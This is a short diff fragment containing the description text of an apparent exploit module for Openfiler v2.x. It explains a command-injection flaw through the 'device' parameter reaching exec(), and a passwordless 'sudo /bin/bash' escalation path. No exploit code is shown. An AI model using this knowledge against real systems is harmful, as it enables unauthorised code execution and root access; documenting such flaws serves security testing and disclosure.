+				This module exploits a vulnerability in Openfiler v2.x
+				which could be abused to allow authenticated users to execute arbitrary
+				code under the context of the 'openfiler' user. The 'system.html' file
+				uses user controlled data from the 'device' parameter to create a new
+				'NetworkCard' object. The class constructor in 'network.inc' calls exec()
+				with the supplied data. The 'openfiler' user may 'sudo /bin/bash' without
+				providing a system password.
